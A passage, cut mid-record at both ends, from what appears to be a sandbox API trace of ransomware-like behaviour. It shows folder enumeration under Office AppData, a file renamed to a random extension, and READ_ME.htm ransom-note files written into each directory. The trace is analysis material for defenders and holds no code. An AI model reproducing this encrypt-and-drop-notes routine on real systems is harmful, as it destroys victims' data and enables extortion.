lpFileInformation=0x21d180 | out: lpFileInformation=0x21d180*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2994bd90, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x2994bd90, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x52ba20e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x19a00)) returned 1 [0144.691] SetErrorMode (uMode=0x0) returned 0x1 [0144.691] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml"), lpNewFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml.7fhvk5" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml.7fhvk5")) returned 1 [0144.692] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache", lpFilePart=0x0) returned 0x46 [0144.692] SetErrorMode (uMode=0x1) returned 0x0 [0144.692] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.693] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.693] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AllUsers", cAlternateFileName="")) returned 1 [0144.693] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AllUsers", cAlternateFileName="")) returned 0 [0144.693] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.694] SetErrorMode (uMode=0x0) returned 0x1 [0144.694] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache", lpFilePart=0x0) returned 0x46 [0144.694] SetErrorMode (uMode=0x1) returned 0x0 [0144.694] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.694] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.695] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AllUsers", cAlternateFileName="")) returned 1 [0144.695] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AllUsers", cAlternateFileName="")) returned 0 [0144.695] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.695] SetErrorMode (uMode=0x0) returned 0x1 [0144.695] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers", lpFilePart=0x0) returned 0x4f [0144.695] SetErrorMode (uMode=0x1) returned 0x0 [0144.696] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\allusers\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.696] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.696] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeclient.microsoft.com", cAlternateFileName="OFFICE~1.COM")) returned 1 [0144.696] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeclient.microsoft.com", cAlternateFileName="OFFICE~1.COM")) returned 0 [0144.696] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.697] SetErrorMode (uMode=0x0) returned 0x1 [0144.697] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers", nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers", lpFilePart=0x0) returned 0x4f [0144.697] SetErrorMode (uMode=0x1) returned 0x0 [0144.697] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\allusers\\*"), lpFindFileData=0x21ce30 | out: lpFindFileData=0x21ce30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.697] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.697] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeclient.microsoft.com", cAlternateFileName="OFFICE~1.COM")) returned 1 [0144.698] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21ce40 | out: lpFindFileData=0x21ce40*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="officeclient.microsoft.com", cAlternateFileName="OFFICE~1.COM")) returned 0 [0144.698] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.698] SetErrorMode (uMode=0x0) returned 0x1 [0144.698] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com", lpFilePart=0x0) returned 0x6a [0144.698] SetErrorMode (uMode=0x1) returned 0x0 [0144.698] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\allusers\\officeclient.microsoft.com\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.700] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.700] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x2071b, dwReserved0=0x0, dwReserved1=0x0, cFileName="B522D55B-BA64-4E5C-A9C3-1E68CB9DB929", cAlternateFileName="B522D5~1")) returned 1 [0144.700] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934dd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x2071b, dwReserved0=0x0, dwReserved1=0x0, cFileName="C77A4C83-0FA1-4325-B7F3-C45A1261EA75", cAlternateFileName="C77A4C~1")) returned 1 [0144.700] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934dd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x2071b, dwReserved0=0x0, dwReserved1=0x0, cFileName="C77A4C83-0FA1-4325-B7F3-C45A1261EA75", cAlternateFileName="C77A4C~1")) returned 0 [0144.700] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.701] SetErrorMode (uMode=0x0) returned 0x1 [0144.701] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com", nBufferLength=0x105, lpBuffer=0x21cbd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com", lpFilePart=0x0) returned 0x6a [0144.702] SetErrorMode (uMode=0x1) returned 0x0 [0144.702] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\allusers\\officeclient.microsoft.com\\*"), lpFindFileData=0x21cd70 | out: lpFindFileData=0x21cd70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.703] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.703] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x34384a70, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x34384a70, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x34384a70, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x2071b, dwReserved0=0x0, dwReserved1=0x0, cFileName="B522D55B-BA64-4E5C-A9C3-1E68CB9DB929", cAlternateFileName="B522D5~1")) returned 1 [0144.703] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934dd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x2071b, dwReserved0=0x0, dwReserved1=0x0, cFileName="C77A4C83-0FA1-4325-B7F3-C45A1261EA75", cAlternateFileName="C77A4C~1")) returned 1 [0144.703] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cd80 | out: lpFindFileData=0x21cd80*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x934dd0, ftCreationTime.dwHighDateTime=0x1d70912, ftLastAccessTime.dwLowDateTime=0x934dd0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x934dd0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x2071b, dwReserved0=0x0, dwReserved1=0x0, cFileName="C77A4C83-0FA1-4325-B7F3-C45A1261EA75", cAlternateFileName="C77A4C~1")) returned 0 [0144.703] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0144.704] SetErrorMode (uMode=0x0) returned 0x1 [0144.705] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ca70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com\\READ_ME.htm", lpFilePart=0x0) returned 0x76 [0144.705] SetErrorMode (uMode=0x1) returned 0x0 [0144.705] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\officeclient.microsoft.com\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\allusers\\officeclient.microsoft.com\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.710] GetFileType (hFile=0x1d0) returned 0x1 [0144.710] SetErrorMode (uMode=0x0) returned 0x1 [0144.710] GetFileType (hFile=0x1d0) returned 0x1 [0144.710] WriteFile (in: hFile=0x1d0, lpBuffer=0x29efaf0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21cfd8, lpOverlapped=0x0 | out: lpBuffer=0x29efaf0*, lpNumberOfBytesWritten=0x21cfd8*=0x720, lpOverlapped=0x0) returned 1 [0144.712] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cb30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\READ_ME.htm", lpFilePart=0x0) returned 0x5b [0144.712] SetErrorMode (uMode=0x1) returned 0x0 [0144.712] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\AllUsers\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\allusers\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.713] GetFileType (hFile=0x1d0) returned 0x1 [0144.713] SetErrorMode (uMode=0x0) returned 0x1 [0144.713] GetFileType (hFile=0x1d0) returned 0x1 [0144.713] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f4120*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d098, lpOverlapped=0x0 | out: lpBuffer=0x29f4120*, lpNumberOfBytesWritten=0x21d098*=0x720, lpOverlapped=0x0) returned 1 [0144.714] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\READ_ME.htm", lpFilePart=0x0) returned 0x52 [0144.715] SetErrorMode (uMode=0x1) returned 0x0 [0144.715] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\WebServiceCache\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\webservicecache\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.716] GetFileType (hFile=0x1d0) returned 0x1 [0144.716] SetErrorMode (uMode=0x0) returned 0x1 [0144.716] GetFileType (hFile=0x1d0) returned 0x1 [0144.717] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f8730*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29f8730*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0144.718] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\READ_ME.htm", lpFilePart=0x0) returned 0x42 [0144.718] SetErrorMode (uMode=0x1) returned 0x0 [0144.718] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\16.0\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\16.0\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0144.719] GetFileType (hFile=0x1d0) returned 0x1 [0144.719] SetErrorMode (uMode=0x0) returned 0x1 [0144.719] GetFileType (hFile=0x1d0) returned 0x1 [0144.719] WriteFile (in: hFile=0x1d0, lpBuffer=0x29fcd00*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29fcd00*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0144.721] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele", lpFilePart=0x0) returned 0x37 [0144.721] SetErrorMode (uMode=0x1) returned 0x0 [0144.721] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Office\\OTele\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\office\\otele\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5bb5ba10, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2623eba0, ftLastAccessTime.dwHighDateTime=0x1d8a6ea, ftLastWriteTime.dwLowDateTime=0x2623eba0, ftLastWriteTime.dwHighDateTime=0x1d8a6ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0144.723] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, 